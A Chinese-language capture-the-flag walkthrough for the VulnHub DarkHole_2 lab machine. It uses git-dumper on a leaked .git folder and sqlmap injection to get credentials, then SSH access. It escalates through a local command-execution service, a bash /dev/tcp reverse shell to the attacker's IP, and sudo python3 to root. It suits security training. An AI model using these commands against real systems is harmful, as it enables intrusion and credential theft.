VulnHub-DarkHole_2靶機滲透教程

1.靶機部署

[Onepanda] Mik1ysomething

靶機下載:https://download.vulnhub.com/darkhole/darkhole_2.zip

直接使用VMware導入打開就行

注意:靶機的網絡連接模式必須和kali一樣,讓靶機跟kali處于同一網段,這樣kali才能掃出靶機的地址。

2.信息收集

2.1 獲取靶機ip(arp-scan/nmap)

2.信息收集

2.1 獲取靶機ip(arp-scan/nmap)

arp-scan -l
nmap 192.168.135.0/24

2.2 詳細信息掃描(nmap)

nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.135
nmap -sS -p---min-rate 10000 $ip

發現開放了80端口,訪問一下看看

2.3 敏感目錄掃描(dirsearch/dirb/gobuster/御劍/7bscan)

dirsearch -u http://192.168.135.135 -e *
dirb http://192.168.135.135

2.4 指紋收集(whatweb)

whatweb -v 192.168.135.135

3.滲透過程

3.1 訪問敏感目錄文件

信息收集時發現存在.git目錄,訪問存在文件

3.2 git文件泄露

使用git-dumper工具分析git文件

沒有的話安裝地址:git-dumper/README.md at master · arthaud/git-dumper · GitHub

git-dumper: 一個.git文件夾的dump取,但是這個工具dump下的文件是可以執行git命令的

3.2.1 git-dumper下載git文件夾的內容到bf目錄文件夾

3.2.2 bf文件夾中查看日志

git log命令解釋:

3.2.3 對比三次提交

使用git里面的diff參數獲得當前工作目錄和上次提交的差距,三個哈希值一個一個嘗試。

git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4
?
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
?
git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917

嘗試到第二個發現一組用戶名和密碼信息

lush/321
lush@admin.com/321

3.3 登錄網頁

前面信息收集還有一個web網頁端,嘗試登錄

登錄成功

進入頁面發現url里面存在id=1,發現id值是不是想到SQL注入。

當我們將id的值設置0或者null頁面的消息消失。

嘗試后面加個單引號,發現報錯,確定存在SQL注入

3.4 SQL注入

3.4.1 獲取網站的cookie的值

直接f12刷新找回包(不會?找不到?直接私信我手把手教你)

3.4.2 利用獲取的cookie的值進行爆破(sqlmap)

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 --current-db
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -dbs
sqlmap爆破得到數據庫名darkhole_2
sqlmap基本操作筆記:
-u  #注入點 
-f  #指紋判別數據庫類型 
-b  #獲取數據庫版本信息 
-p  #指定可測試的參數(?page=1&id=2 -p "page,id") 
-D ""  #指定數據庫名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入過程到一個文件,還可中斷,下次恢復在注入(保存:-s "xx.log"  恢復:-s "xx.log" --resume) 
--level=(1-5) #要執行的測試水平等級,默認為1 
--risk=(0-3)  #測試執行的風險等級,默認為1 
--time-sec=(2,5) #延遲響應,默認為5 
--data #通過POST發送數據 
--columns ? ? ?  #列出字段 
--current-user ? #獲取當前用戶名稱 
--current-db ? ? #獲取當前數據庫名稱 
--users ? ? ? ?  #列數據庫所有用戶 
--passwords ? ?  #數據庫用戶所有密碼 
--privileges ? ? #查看用戶權限(--privileges -U root) 
-U ? ? ? ? ? ? ? #指定數據庫用戶 
--dbs ? ? ? ? ?  #列出所有數據庫 
--tables -D "" ? #列出指定數據庫中的表 
--columns -T "user" -D "mysql" ? ?  #列出mysql數據庫中的user表的所有字段 
--dump-all ? ? ? ? ?  #列出所有數據庫所有表 
--exclude-sysdbs ? ?  #只列出用戶自己新建的數據庫和表 
--dump -T "" -D "" -C "" ? #列出指定數據庫的表的字段的數據(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定數據庫的表的2-4字段的數據 
--dbms ?  #指定數據庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os ? ?  #指定系統(Linux,Windows) 

3.4.3 獲取數據庫darkhole_2下的表名

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 --tables --batch
爆破得到兩個表ssh/users

3.4.4 獲取表里的列信息

sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T users -dump
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T ssh -dump
爆破得到ssh用戶名和密碼
jehad/fool

3.4.5 SSH連接

ssh jehad@192.168.135.135
jehad/fool

3.5 提權

3.5.1 查看權限

3.5.2 查找SUID文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

3.5.3 查看計劃任務

cat /etc/crontab

查看一下/opt/web下的文件內容

發現允許遠程命令執行

3.5.4 查看歷史命令

cat .bash_history

3.5.5 查看/etc/passwd文件

cat /etc/passwd |grep "bin/bash"
發現多個用戶

3.5.6 詳細查看服務(命令執行)

curl "http://localhost:9999/?cmd=cat%20/etc/passwd"
curl "http://localhost:9999/?cmd=id"

可以查看到這個服務歸屬于用戶losy

3.5.7 獲取losy權限

重新登錄ssh,使本地端口與靶機端口映射,訪問本地端口轉發到靶機
ssh jehad@192.168.135.135 -L 9999:localhost:9999
ssh -L 9999:127.0.0.1:9999 jehad@192.168.135.135

3.5.8 反彈shell

在之前我們通過查看歷史命令發現可以進行遠程命令執行,而命令執行的角色屬性是losy用戶的。使用SSH 隧道連接端口 9999,訪問 127.0.0.1:9999 進行 RCE。

kali構造
bash -c 'sh -i >& /dev/tcp/192.168.135.129/1234 0>&1'
url編碼:
bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

kali使用nc開啟端口監聽

nc -lvnp 1234

kali可以在瀏覽器直接訪問:

http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

也可以通過curl的訪問

curl http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27

成功拿到losy權限

直接交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

歷史命令history查看發現password密碼:gang

直接ssh連接losy用戶

ssh losy@192.168.135.135

sudo -l
利用python提權
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo python3 -c 'import os; os.system("/bin/bash")' 

cd /root
?
cat root.txt
?
獲取到flag文件

本篇文章滲透結束 感謝大家的觀看!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/902616.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/902616.shtml
英文地址,請注明出處:http://en.pswp.cn/news/902616.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

USO服務器操作系統手動升級GCC 12.2.0版本

1. 從 GNU 官方 FTP 服務器下載 GCC 12.2.0 的源碼包,并解壓進入源碼目錄。 wget https://ftp.gnu.org/gnu/gcc/gcc-12.2.0/gcc-12.2.0.tar.gz tar -zxvf gcc-12.2.0.tar.gz cd gcc-12.2.0 2. 運行腳本下載并配置 GCC 編譯所需的依賴庫。此步驟會自動下載如 GMP…

設計模式基礎概念(行為模式):觀察者模式(Observer)

概述 我們可以發現這樣一個場景:如果你訂閱了一份雜志或報紙, 那就不需要再去報攤查詢新出版的刊物了。 出版社 (即應用中的 “發布者(publisher)”) 會在刊物出版后 (甚至提前) 直…

JavaFX實戰:從零到一實現一個功能豐富的“高級反應速度測試”游戲

大家好!今天我們不搞簡單的“紅變綠就點”了,來點硬核的!我們要用 JavaFX 從頭開始,構建一個更復雜、更有趣也更考驗能力的“高級反應速度測試”游戲。這個版本將引入選擇反應時 (Choice Reaction Time) 的概念——你需要在多個干…

CSS 選擇器介紹

CSS 選擇器介紹 1. 基本概念 CSS(層疊樣式表)是一種用于描述 HTML 或 XML 文檔外觀的語言。通過 CSS,可以控制網頁中元素的布局、顏色、字體等視覺效果。而 CSS 選擇器則是用來指定哪些 HTML 元素應該應用這些樣式的工具。 2. 基本選擇器 …

Vue3父子組件數據同步方法

在 Vue 3 中&#xff0c;當子組件需要修改父組件傳遞的數據副本并同步更新時&#xff0c;可以通過以下步驟實現&#xff1a; 方法 1&#xff1a;使用 v-model 和計算屬性&#xff08;實時同步&#xff09; 父組件&#xff1a; vue <template><ChildComponent v-mo…

el-table中el-input的autofocus無法自動聚焦的解決方案

需求 有一個表格展示了一些進度信息&#xff0c;進度信息可以修改&#xff0c;需要點擊進度信息旁邊的編輯按鈕時&#xff0c;把進度變為輸入框且自動聚焦&#xff0c;當鼠標失去焦點時自動請求更新接口。 注&#xff1a;本例以vue2 element UI為例 分析 這個需求看著挺簡單…

用高斯濺射技術跨越機器人模擬與現實的鴻溝:SplatSim 框架解析

在機器人領域&#xff0c;讓機器人在現實世界中精準執行任務是大家一直追求的目標。可模擬環境和現實世界之間存在著不小的差距&#xff0c;特別是基于 RGB 圖像的操作策略&#xff0c;從模擬轉移到現實時總是狀況百出。 今天咱們就來聊聊 SplatSim 框架&#xff0c;看看它是怎…

【自然語言處理與大模型】如何知道自己部署的模型的最大并行訪問數呢?

當你自己在服務器上部署好一個模型后&#xff0c;使用場景會有兩種。第一種就是你自己去玩&#xff0c;結合自有的數據做RAG等等&#xff0c;這種情況下一般是不會考慮并發的問題。第二種是將部署好的服務給到別人來使用&#xff0c;這時候就必須知道我的服務到底支持多大的訪問…

[FPGA基礎] UART篇

Xilinx FPGA UART 硬件接口使用指南 1. 引言 UART (通用異步收發器) 是一種廣泛使用的串行通信接口&#xff0c;因其簡單、可靠和易于實現而成為 Xilinx FPGA 設計中的常見硬件接口。UART 用于在 FPGA 與外部設備&#xff08;如 PC、微控制器、傳感器等&#xff09;之間進行數…

【Netty4核心原理】【全系列文章目錄】

文章目錄 一、前言二、目錄 一、前言 本系列雖說本意是作為 《Netty4 核心原理》一書的讀書筆記&#xff0c;但在實際閱讀記錄過程中加入了大量個人閱讀的理解和內容&#xff0c;因此對書中內容存在大量刪改。 本系列內容基于 Netty 4.1.73.Final 版本&#xff0c;如下&#xf…

用 PyTorch 和numpy分別實現簡單的 CNN 二分類器

作業用到的知識&#xff1a; 1.Pytorch: 1. nn.Conv2d&#xff08;二維卷積層&#xff09; 作用&#xff1a; 對輸入的多通道二位數據&#xff08;如圖像&#xff09;進行特征提取&#xff0c;通過滑動卷積核計算局部區域的加權和&#xff0c;生成新的特征圖。 關鍵參數&a…

使用n8n構建自動化工作流:從數據庫查詢到郵件通知的使用指南

n8n是一款強大的開源工作流自動化工具&#xff0c;可以幫助你將各種服務和應用程序連接起來&#xff0c;創建復雜的自動化流程。下面我將詳細介紹一個實用的n8n用例&#xff1a;從MySQL數據庫查詢數據并發送郵件通知&#xff0c;包括使用場景、搭建步驟和節點部署方法。 使用場…

Vscode已經打開的python項目,如何使用已經建立的虛擬環境

在 VS Code 中使用已創建的 Conda/Mamba 虛擬環境 pe100&#xff0c;只需以下幾步&#xff1a; 步驟 1&#xff1a;確保虛擬環境已存在 在終端運行以下命令&#xff0c;檢查 pe100 環境是否已正確創建&#xff1a; conda activate pe100 python --version # 應顯示 Python 3…

Volatility工具學習

背景 VMware虛擬機系統hang死&#xff0c;手動重啟無法觸發系統panic&#xff0c;從而不能觸發kdump產生vmcore文件進行原因分析&#xff1b;此種情況下需要手動生成虛擬機內存快照&#xff0c;進而利用Volatility工具分析系統hang死的具體原因。 配置 使用VMware創建虛擬機…

學習筆記(C++篇)--- Day 4

目錄 1.賦值運算符重載 1.1 運算符重載 1.2 賦值運算符重載 1.3 日期類實現 1.賦值運算符重載 1.1 運算符重載 ①當運算符被用于類類型的對象時&#xff0c;C語言允許我們通過通過運算符重載的形式指定新的含義。C規定類類型對象使用運算符時&#xff0c;必須轉換成調用對…

Docker 快速入門教程

1. Docker 基本概念 鏡像(Image): 只讀模板&#xff0c;包含創建容器的指令 容器(Container): 鏡像的運行實例 Dockerfile: 用于構建鏡像的文本文件 倉庫(Repository): 存放鏡像的地方&#xff08;如Docker Hub&#xff09; 2. 安裝Docker 根據你的操作系統選擇安裝方式:…

vue項目中使用tinymce富文本編輯器

vue使用tinymce 文章目錄 vue使用tinymcetinymce富文本編輯器在這里插入圖片描述 一、本文要實現二、使用步驟1.安裝tinymce2.tinymce組件新建3. 在store添加商品詳情的狀態管理4. tinymce組件的引入 tinymce富文本編輯器 提示&#xff1a;以下是本篇文章正文內容&#xff0c;下…

簡單適配torch_npu不支持的ATen算子

簡單適配torch_npu不支持的ATen算子 一、背景說明1.1 PyTorch擴展機制1.2 核心概念二、實現步驟詳解2.1 實現前向、反向傳播算子2.2 編譯生成動態庫2.3 測試驗證程序三、關鍵點解析3.1 設計注意事項3.2 性能優化方向四、驗證結果一、背景說明 1.1 PyTorch擴展機制 PrivateUse1…

同樣的html標記,不同語言的文本,顯示的字體和粗細會不一樣嗎

同樣的 HTML 標記&#xff0c;在不同語言的文本下&#xff0c;顯示出來的字體和粗細確實可能會不一樣&#xff0c;原因如下&#xff1a; &#x1f30d; 不同語言默認字體不同 瀏覽器字體回退機制 CSS 里寫的字體如果當前系統不支持&#xff0c;就會回退到下一個&#xff0c;比如…

基于 Spring Boot 瑞吉外賣系統開發(六)

基于 Spring Boot 瑞吉外賣系統開發&#xff08;六&#xff09; 菜品列表 在系統管理端首頁&#xff0c;單擊左側菜單欄中的“菜品管理”&#xff0c;會在右側打開菜品管理頁面。 請求URL/dish/page&#xff0c;請求方法GET,請求參數page&#xff0c;pageSize。 該菜品列表…